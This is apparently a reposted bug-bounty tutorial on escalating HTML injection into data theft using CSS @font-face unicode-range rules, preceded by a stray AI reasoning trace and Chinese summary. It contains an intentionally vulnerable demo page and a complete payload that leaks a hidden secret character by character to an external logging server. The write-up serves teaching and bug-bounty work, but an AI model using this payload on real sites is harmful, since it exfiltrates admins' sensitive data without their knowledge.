HTML Injection to Data Exfiltration: Weaponizing CSS
好的,我现在要帮用户总结这篇文章的内容。用户的要求是用中文,控制在100字以内,不需要特定的开头,直接描述文章内容。 首先,我需要快速浏览文章内容。文章主要讲的是HTML注入漏洞如何被利用来提升到高危级别。作者提到通常HTML注入被认为是低或中危,但通过结合CSS技术,可以将敏感数据泄露出去,而不需要JavaScript或XSS。 接下来,文章描述了一个场景:guest用户注入HTMLayload,被admin渲染,导致敏感信息泄露和权限提升。还提到了跨角色和同角色的数据泄露情况。 然后是具体的payload代码,利用@font-face规则将每个字符映射到远程URL,从而逐字符窃取数据。最后作者强调关注漏洞影响而非类型,并鼓励读者关注他的社交媒体。 现在我要把这些信息浓缩到100字以内。重点包括:HTML注入、CSS利用、敏感数据窃取、跨角色权限提升、无需JS/XSS、强调影响而非类型。 可能的结构:HTML注入通过CSS窃取敏感数据,跨角色权限提升,无需JS/XSS,影响严重。 检查字数是否合适:“HTML注入漏洞可结合CSS技术窃取敏感数据并实现跨角色权限提升,无需依赖JavaScript或XSS。该方法通过自定义字体映射逐字符泄露信息。” 这样刚好在100字以内,并且涵盖了关键点。 </think> HTML注入漏洞可结合CSS技术窃取敏感数据并实现跨角色权限提升,无需依赖JavaScript或XSS。该方法通过自定义字体映射逐字符泄露信息。 2026-1-26 09:9:58 Author: infosecwriteups.com(查看原文) 阅读量:0 收藏

Jayateertha Guruprasad

🐞 Found HTML Injection ? Don’t Stop There.

Most bug bounty programs label HTML Injection as Low or Medium severity 🤷‍♂️
Why? Because on its own, it’s often considered low impact and non-exploitable.

But what if HTML Injection alone could be escalated to HIGH severity 🚨 — By exfiltrating sensitive data using only CSS, with no JavaScript or XSS?

Assume there are 2 roles in web application which is vulnerable to HTML Injection — guest, admin.

A Guest user can inject an HTML payload (stored or reflected) that is rendered by an Admin, resulting in sensitive information disclosure and vertical privilege escalation.
The same technique can also work within the same role (horizontal privilege escalation and data exfiltration), though the severity is typically lower and depends on the sensitivity of the data leaked.

Get Jayateertha Guruprasad’s stories in your inbox

Join Medium for free to get updates from this writer.

Vulnerable Scenario:

<!DOCTYPE html>
<html>
<head>
<title>CSS Exfiltration Challenge</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
<style>
body {
font-family: system-ui, sans-serif;
}
#secret {
display: none;
}
</style>
</head>
<body>
<h2>Exfil the secret</h2>
<div>Secret visible to admin only:</div>
<div id="secret">1269</div>
<textarea id="input" rows="6" cols="70"
placeholder="Enter formatted notes (HTML allowed, JS blocked)">
</textarea>
<br><br>
<button onclick="render()">Save</button>
<hr>
<div id="preview"></div>
<script>
const STORAGE_KEY = "stored_note";
function sanitizeAndRender(value) {
const clean = DOMPurify.sanitize(value, {
ALLOWED_TAGS: [
"a","abbr","acronym","address","area","article","aside","audio",
"b","bdi","bdo","big","blink","blockquote","body","br","button",
"canvas","caption","center","cite","code","col","colgroup","content",
"data","datalist","dd","decorator","del","details","dfn","dialog",
"dir","div","dl","dt","element","em","fieldset","figcaption","figure",
"font","footer","form","h1","h2","h3","h4","h5","h6","head","header",
"hgroup","hr","html","i","img","input","ins","kbd","label","legend",
"li","main","map","mark","marquee","menu","menuitem","meter","nav",
"nobr","ol","optgroup","option","output","p","picture","pre","progress",
"q","rp","rt","ruby","s","samp","section","select","shadow","small",
"source","spacer","span","strike","strong","style","sub","summary",
"sup","table","tbody","td","template","textarea","tfoot","th","thead",
"time","tr","track","tt","u","ul","var","video","wbr"
],
FORCE_BODY: true
});
document.getElementById("preview").innerHTML = clean;
}
function render() {
const value = document.getElementById("input").value;
// Persist raw input (simulates DB storage)
localStorage.setItem(STORAGE_KEY, value);
sanitizeAndRender(value);
}
// Auto‑load on page refresh
window.addEventListener("DOMContentLoaded", () => {
const saved = localStorage.getItem(STORAGE_KEY);
if (saved) {
document.getElementById("input").value = saved;
sanitizeAndRender(saved);
}
});
</script>
</body>
</html>

Payload

<style>
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=1");
unicode-range: U+31;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=2");
unicode-range: U+32;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=3");
unicode-range: U+33;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=4");
unicode-range: U+34;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=5");
unicode-range: U+35;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=6");
unicode-range: U+36;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=7");
unicode-range: U+37;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=8");
unicode-range: U+38;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=9");
unicode-range: U+39;
}

* {
font-family: sans-serif !important;
}

#secret {
display: block !important;
font-family: "leak" !important;
color: red !important;
}
</style>

Breaking down of payload -

@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=1");
unicode-range: U+31;
}
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=2");
unicode-range: U+32;
}
.
.
.
@font-face {
font-family: "leak";
src: url("https://jayateerthag.in/log?char=9");
unicode-range: U+39;
}

The above code defines a custom font-family leak and maps each character to a remote font URL such as
https://jayateerthag.in/log?char=1.

In this example, the URL is associated with the Unicode character 1 (U+0031). When this character appears in the target text node from which data needs to be exfiltrated, the browser loads the corresponding font file — triggering an HTTP request to https://jayateerthag.in/log?char=1 and leaking that character.

Similarly mapping applies to all other characters as well, with each character pointing to its own URL, allowing the entire value to be exfiltrated character by character.

* {
font-family: sans-serif !important;
}

This rule forces all text to use the default sans-serif font, ensuring that only the explicitly targeted text uses the custom leak font. This helps prevent accidental exfiltration of unintended text content elsewhere on the page.

#secret {
display: block !important;
font-family: "leak" !important;
color: red !important;
}

This rule explicitly targets the #secret node, forces its font-family to leak, makes it visible (display: block) to ensure the font is rendered, and sets color to red for clarity.
Once rendered, the browser loads the corresponding font resources, allowing the character-by-character data exfiltration to the attacker’s server.

Press enter or click to view image in full size

Note: Request is sent in parallel in undefined order, while secret is 1269, request is sent as 9621.

🎯 Closing Note
Always focus on impact, not just vulnerability type.

Even a seemingly low-severity issue like HTML Injection can be escalated into a high-impact finding when combined with creative exploitation techniques.

Show the impact, tell the story, drop the report — then log off, grab a pillow, and enjoy sleeping on a pile of bounty 💰

Liked my article ? Follow me on LinkedIn, Twitter (@jayateerthaG), and Medium for more content about bugbounty, Infosec, cybersecurity and hacking.


文章来源: https://infosecwriteups.com/html-injection-to-data-exfiltration-weaponizing-css-88ec1639a0cd?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh